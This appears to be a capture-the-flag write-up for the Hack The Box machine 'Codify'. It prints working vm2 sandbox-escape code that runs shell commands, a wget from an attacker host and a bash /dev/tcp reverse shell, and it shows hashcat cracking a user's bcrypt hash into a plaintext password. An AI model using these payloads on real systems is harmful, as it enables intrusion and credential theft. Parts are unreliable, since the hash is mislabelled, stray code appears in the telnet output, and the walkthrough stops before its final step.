Codify

Recon

┌──(ghost㉿htb-ops)-[~/htb/labs/codify]
└─$ sudo nmap -sS -Pn -p- 10.129.64.131 -oA scan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 17:19 CST
Stats: 0:01:25 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 62.73% done; ETC: 17:22 (0:00:51 remaining)
Stats: 0:05:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 94.35% done; ETC: 17:25 (0:00:20 remaining)
Nmap scan report for 10.129.64.131
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Looks like ppp is open, nothing else really to note:

┌──(ghost㉿htb-ops)-[~/htb/labs/codify]
└─$ sudo nmap -sC -p 22,80,3000 10.129.64.131 -oA scan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 17:29 CST
Nmap scan report for 10.129.64.131
Host is up (0.064s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  ppp

Adding codify.htb to /etc/hosts

Site looks like it's using Node.js as its framework along with Apache.

We have the following pages:

  • codify.htb/limitations

  • codify.htb/editor

  • codify.htb/about

We see that the editor uses a library called vm2 - https://github.com/patriksimek/vm2/releases/tag/3.9.16, version 3.9.16 to sandbox the Javascript code used in the editor, there is likely an escape mechanism we can use to leave the sandbox and access the host directly to try and gain a foothold.

Available modules:

  • url

  • crypto

  • util

  • events

  • assert

  • stream

  • path

  • os

  • zlib

Restricted Modules

  • child_process

  • fs

Enumeration

While working with the editor, I'll be running dirsearch in the background:

dirsearch -u http://codify.htb

Not much to write about:

[17:36:32] Starting: 
[17:36:40] 200 -    3KB - /About                                            
[17:36:45] 200 -    3KB - /about                                            
[17:37:04] 200 -    3KB - /editor                                           
[17:37:04] 200 -    3KB - /editor/                                          
[17:37:25] 403 -  275B  - /server-status/                                   
[17:37:25] 403 -  275B  - /server-status 

Running dirsearch with a better wordlist instead of deafault as well, just as a secondary measure:

dirsearch -u http://codify.htb -t 100 -e js,txt,tar,gzip -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt 

If you need a set of Wordlists, I'd recommend Daniel Meissler's list which can be found here - https://github.com/danielmiessler/SecLists

Tinkering around with the editor we can get some responses by doing things like:

console.log("hello")

Searching for the sandbox we find a PoC which allows for arbitrary code execution:

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

I wasn't getting any response in the editor, so I started tinkering further and did some of the following:

const {VM} = require("vm2");
const vm = new VM();

var os = require('os');

console.log("test = " + os.hostname());
console.log("tmp = " + os.tmpdir());

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    //c.constructor('return process')().mainModule.require('child_process').execSync('bash+-i+>&+/dev/tcp/10.10.16.42/1337+)>&1')
    //c.constructor('return process')().mainModule.require('child_process').execSync('bash -i >& /dev/tcp/10.10.16.42/1337 0>&1');
    c.constructor(console.log('hello'))
}
`

We could get some results back, but the code for my reverse shells were erroring out because it could not run the command.

Realized after trying to import fs, that even though child_process was a restricted module, we weren't receiving the following error in the block where our export code was running:

Error: Module "fs" is not allowed

So it looks like whatever pieces we have in our exploit are probably running successfully on the victim machine.

Since we couldn't get a reverse shell off the bat, I tried seeing if we could force the editor to pull a file from my attacker system. So I setup my Python simple server:

python -m http.server 80

And ran the following in the editor:

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
	c.constructor('return process')().mainModule.require('child_process').execSync('wget 10.10.16.42:80/test.txt')
}
`

console.log(vm.run(code));

Looks like the file was being pulled successfully:

Since this worked, I tried adding a simple reverse shell to the file:

┌──(ghost㉿htb-ops)-[~/htb/labs/codify/www]
└─$ cat rev.sh
#! /bin/bash

bash -i >& /dev/tcp/10.10.16.42/1337 0>&1

Tried seeing if I could pipe it through either sh or bash, neither worked.

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    //c.constructor('return process')().mainModule.require('child_process').execSync('wget 10.10.16.42:80/rev.sh | bash');
    c.constructor('return process')().mainModule.require('child_process').execSync('/bin/bash ./rev.sh');
}
`

console.log(vm.run(code));

We were able to get the reverse shell to run with c.constructor('return process')().mainModule.require('child_process').execSync('/bin/bash ./rev.sh');

Enumerating svc

Once on the system, I run the following:

svc@codify:~$ cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash

We see 3 users who have shell capabilities:

  • root

  • joshua

  • svc

svc@codify:~$ ss -nltp
ss -nltp
State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*          
LISTEN 0      128          0.0.0.0:22         0.0.0.0:*          
LISTEN 0      4096       127.0.0.1:34553      0.0.0.0:*          
LISTEN 0      4096       127.0.0.1:3306       0.0.0.0:*          
LISTEN 0      511                *:80               *:*          
LISTEN 0      128             [::]:22            [::]:*          
LISTEN 0      511                *:3000             *:*    users:(("PM2 v5.3.0: God",pid=1242,fd=20))

Reviewed what PM2 v5.3.0 was because I'm unfamiliar, and this is essentially the server that is hosting the node.js app.

Production process manager for Node.JS applications with a built-in load balancer. reference; https://www.jsdocs.io/package/pm2

Taking a look at running processes

ps -ef --forest
root        1232       1  0 Nov09 ?        00:00:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock                                                                                                            
root        1629    1232  0 Nov09 ?        00:00:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3306 -container-ip 172.19.0.2 -container-port 3306                                                             
svc         1242       1  0 Nov09 ?        00:00:15 PM2 v5.3.0: God Daemon (/home/svc/.pm2)
svc         1401    1242  0 Nov09 ?        00:00:18  \_ node /var/www/editor/index.js
svc         1403    1242  0 Nov09 ?        00:00:17  \_ node /var/www/editor/index.js
svc         1420    1242  0 Nov09 ?        00:00:20  \_ node /var/www/editor/index.js
svc         1424    1242  0 Nov09 ?        00:00:17  \_ node /var/www/editor/index.js
svc         1441    1242  0 Nov09 ?        00:00:18  \_ node /var/www/editor/index.js                
svc         1455    1242  0 Nov09 ?        00:00:18  \_ node /var/www/editor/index.js                              
svc         2381    1455  0 01:25 ?        00:00:00  |   \_ /bin/sh -c /bin/bash rev.sh                            
svc         2382    2381  0 01:25 ?        00:00:00  |       \_ /bin/bash rev.sh                                   
svc         2383    2382  0 01:25 ?        00:00:00  |           \_ bash -i       
svc         2425    2383  0 01:34 ?        00:00:00  |               \_ ps -ef --forest
svc         1495    1242  0 Nov09 ?        00:00:19  \_ node /var/www/editor/index.js                          
svc         1501    1242  0 Nov09 ?        00:00:17  \_ node /var/www/editor/index.js
svc         1522    1242  0 Nov09 ?        00:00:14  \_ node /var/www/editor/index.js
svc         1537    1242  0 Nov09 ?        00:00:18  \_ node /var/www/editor/index.js                              
root        1552       1  0 Nov09 ?        00:00:00 /bin/sh /root/scripts/other/docker-startup.sh
root        1553    1552  0 Nov09 ?        00:00:07  \_ /usr/bin/python3 /usr/bin/docker-compose -f /root/scripts/docker/docker-compose.yml up                                                                                        
root        1657       1  0 Nov09 ?        00:00:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id f88b314ed6a4f84693267bda194d6266bdde5798ef5ccd082109b2566fda07f8 -address /run/containerd/containerd.sock                    
lxd         1679    1657  0 Nov09 ?        00:00:01  \_ mariadbd            

Looks like there are some potential docker containers running, but they may be red herrings.

Checked the directory for ~/.pm2/, wasn't really anything interesting:

svc@codify:/var/www/contact$ ls -al ~/.pm2/
ls -al ~/.pm2/
total 260
drwxrwxr-x 5 svc svc  4096 Nov  9 23:15 .
drwxr-x--- 4 svc svc  4096 Nov 10 01:13 ..
-rw-rw-r-- 1 svc svc 70370 Sep 12 17:21 dump.pm2
-rw-rw-r-- 1 svc svc 84868 Sep 12 17:21 dump.pm2.bak
drwxrwxr-x 2 svc svc  4096 Sep 12 17:19 logs
-rw-rw-r-- 1 svc svc     2 Sep 12 17:19 module_conf.json
drwxrwxr-x 2 svc svc  4096 Sep 12 17:19 modules
drwxrwxr-x 2 svc svc  4096 Nov  9 23:15 pids
-rw-rw-r-- 1 svc svc 66916 Nov  9 23:15 pm2.log
-rw-r--r-- 1 svc svc     4 Nov  9 23:15 pm2.pid
srwxrwxr-x 1 svc svc     0 Nov  9 23:15 pub.sock
srwxrwxr-x 1 svc svc     0 Nov  9 23:15 rpc.sock
-rw-rw-r-- 1 svc svc    13 Sep 12 17:19 touch

Checked the logs directory and it was just notifying us which port the app was being served on. Moved to the next semi-interesting place, /var/www/ to start enumerating the web app to see if there are files we might have missed during our initial scanning.

Sure enough, we find /var/www/contact/tickets.db, running cat against the db we see a BRC4 hash of Joshua's password.

joshua$2a$12$**redacting the rest**

Took the hash to my attacker machine and ran the following to crack the hash:

┌──(ghost㉿htb-ops)-[~/htb/labs/codify]
└─$ hashcat -m 3200 pw.txt /usr/share/wordlists/rockyou.txt --username

Once the hash was cracked, I had to run:

┌──(ghost㉿htb-ops)-[~/htb/labs/codify]
└─$ hashcat -m 3200 pw.txt /usr/share/wordlists/rockyou.txt --username --show

username; joshua password; spongebob1

Getting root

Starting off by looking to see if we can access sudo, or run anything with super user:

joshua@codify:~$ sudo -l
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

Looks like we can run the script /opt/scripts/mysql-backup.sh

We know that from the output of the script, that it is listening to port 3306.

Running linpeas we see that there is a Docker container hosted on this port:

root        1629  0.0  0.0 1155824 2972 ?        Sl   Nov09   0:00  _ /usr/bin/docker`7-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3306 -container-ip 172.19.0.2 -container-port 3306

I tried telnet to access the host and received the following:

joshua@codify:~$ telnet 172.19.0.2 3306
Trying 172.19.0.2...
Connected to 172.19.0.2.
Escape character is '^]'.
q
5.5.5-10.10.3-MariaDB-1:10.10.3+maria~ubu2204
S@(Eb>NO-~NKnh=9F2e*?mysql_native_password
ipaddr = input("Enter the IP address of the mysql server: ")

while 1:
        subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()

We are able to connect to the database by running:

joshua@codify:~$ mysql --host=172.19.0.2 --port=3306 --user=joshua --password=spongebob1

We can perform the following to enumerate the database:

show databases;
use <table_name>;
show tables;
select * from <table_name>;

I see a user named passbolt which is interesting, we haven't seen this account anywhere else so far, except within the database tables.

Last updated